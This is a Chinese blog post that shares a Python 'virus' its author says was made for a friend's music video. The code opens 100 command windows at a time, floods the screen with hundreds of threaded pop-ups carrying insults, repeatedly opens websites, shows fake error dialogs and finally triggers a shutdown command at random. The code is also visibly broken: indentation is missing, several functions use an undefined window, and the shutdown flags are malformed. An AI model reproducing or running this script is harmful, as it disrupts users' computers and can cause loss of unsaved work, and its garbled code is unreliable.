本篇文章给大家谈谈python简单的病毒编程代码,以及python做杀毒软件代码,希望对各位有所帮助,不要忘了收藏本站喔。
这个病毒,其实是我给@AS-wellas帮忙写的(他做了个音乐,要我编个病毒),所以多少会有些不太符合我风格的东西,而且为了达到他要求的2分钟时长,毒性可能会弱一点,但是我改善了一点,不是原版
import random
import os
from tkinter import messagebox
import webbrowser
import time
import tkinter.messagebox
import threading
import tkinter as tk
for i in range(100):
os.system("start cmd")
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('haha')
window.geometry("300x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='you idoit', bg='red',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
threads = []
for i in range(5):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(1.5)
webbrowser.open("csdn.com")
time.sleep(2.0)
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('haha')
window.geometry("300x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='多学学知识吧!', bg='blue',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
threads = []
for i in range(10):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
def boom():
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('haha')
window.geometry("300x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='o', bg='black',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
threads = []
for i in range(20):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
webbrowser.open("pranx.com")
time.sleep(2.0)
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('haha')
window.geometry("300x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='多学学黑客知识吧!', bg='blue',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
threads = []
for i in range(10):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
def boom():
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('haha')
window.geometry("300x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='o', bg='black',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
threads = []
for i in range(20):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
tkinter.messagebox.showerror("Error", "给你20秒钟时间,上网查查咋解决")
def boom():
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('haha')
window.geometry("300x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='o', bg='black',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
threads = []
for i in range(10):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(2.0)
tkinter.messagebox.showerror("Error", "你的电脑问题已被修复")
tkinter.messagebox.showerror("Error", "逗你玩的")
tkinter.messagebox.showerror("Error", "接下来,接受第一关!")
def boom():
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('haha')
window.geometry("300x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='o', bg='black',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
threads = []
for i in range(200):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(2.0)
tkinter.messagebox.showerror("Error", "挺过了")
tkinter.messagebox.showerror("Error", "很好")
tkinter.messagebox.showerror("Error", "珍惜你的电脑吧")
tkinter.messagebox.showerror("Error", "第二关!")
for i in range(40):
webbrowser.open("baidu.com")
webbrowser.open("csdn.com")
webbrowser.open("poki.com")
for i in range(100):
os.system("start cmd")
tkinter.messagebox.showerror("baibai", "再见")
while True:
s = random.randint(1, 500)
if s == 250:
os.system("shutdown -t -s")
else:
def boom():
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('haha')
window.geometry("300x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='o', bg='black',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
threads = []
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
这个在最后,我搞了个概率问题,可以增加戏剧性